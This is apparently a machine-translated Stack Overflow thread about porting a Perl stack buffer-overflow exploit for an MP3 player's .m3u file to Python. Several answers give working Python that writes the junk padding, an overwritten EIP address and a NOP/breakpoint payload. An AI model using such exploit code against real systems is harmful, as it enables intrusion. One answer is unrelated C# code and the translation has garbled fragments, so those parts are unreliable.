我最近一直致力于一些漏洞利用开发,为培训课程做好准备,而且我遇到了一个教程问题。我一直在关注我能找到的所有教程,使用Python而不是教程使用的语言,而不是偏好。我正在尝试对所有内容进行交叉编码,但我无法弄清楚如何对Perl的Pack()函数进行交叉编码。
TL; DR: 我正在尝试将其翻译为python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
我找到了Python的struct.pack()函数,但是当我使用
时Fuzzed.write(struct.pack('V', 0x773D10A4))
,它会停止程序并且不起作用。我做错了什么?
这是我的完整源代码
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
答案 0 :(得分:11)
尝试使用"L<"
包模板而不是"V"
。这应该在Perl和Python中都有效。 N
和V
是指定字节序的旧Perl方法,<
和>
是较新的方法。看起来当Python从Perl借用pack
时,它只采用了更新,更灵活的界面。
编辑: Python需要{/ 1}} 之前类型说明符,而Perl希望之后。不太相容:(
答案 1 :(得分:8)
Python的struct.pack
使用endianess/size variation的第一个字符,然后data type使用一个或多个字符。 Perl的V
means 32位unsigned int / little-endian。
Python模拟是struct.pack('<I', 0x773D10A4)
。
答案 2 :(得分:2)
我已经翻译成python,我已经尝试过MP3转换器了。这是你的答案:
var myTasks = new List<Task>();
myTasks.Add(Task.Run(() => someLongProcess))
myTasks.Add(Task.Run(() => someLongProcess))
Task.WhenAny(myTasks).Result
//Check to see how many tasks are done, and then add more to your collection and repeat until you're done
答案 3 :(得分:1)
这正是你想要的。培训课程怎么样?
import struct
file = 'crash.m3u'
junk = b'\x41' * 26091
eip = struct.pack('<I', 0x1d5f23a)
preshellcode = b'\xcc' * 4
shellcode = b'\x90' * 25 + b'\xcc'
fp = open(file, 'wb')
fp.write(junk + eip + preshellcode + shellcode)
fp.close()
import binascii
print binascii.hexlify(open(file, 'rb').read())
print 'm3u file is ready'
答案 4 :(得分:0)
我正在研究相同/相似的教程。对我而言,完全有效的是尼克的答案。我还测试了在易受攻击的软件上创建的m3u文件。尽管我的EIP地址不同,但它确实有效。我在Linux机器上使用python 3.7.5运行了它。这是修改后的代码:
import struct
Fuzzed = open('Fuzzed.m3u','wb')
Fuzzed.write(b'A' * 26072)
string = struct.pack('<I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C' * 3000)
我们需要将所有内容都转换为字节对象的原因是pack函数返回了字节对象,因此无法将其与字符串连接。同样str(struct.pack('
string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77'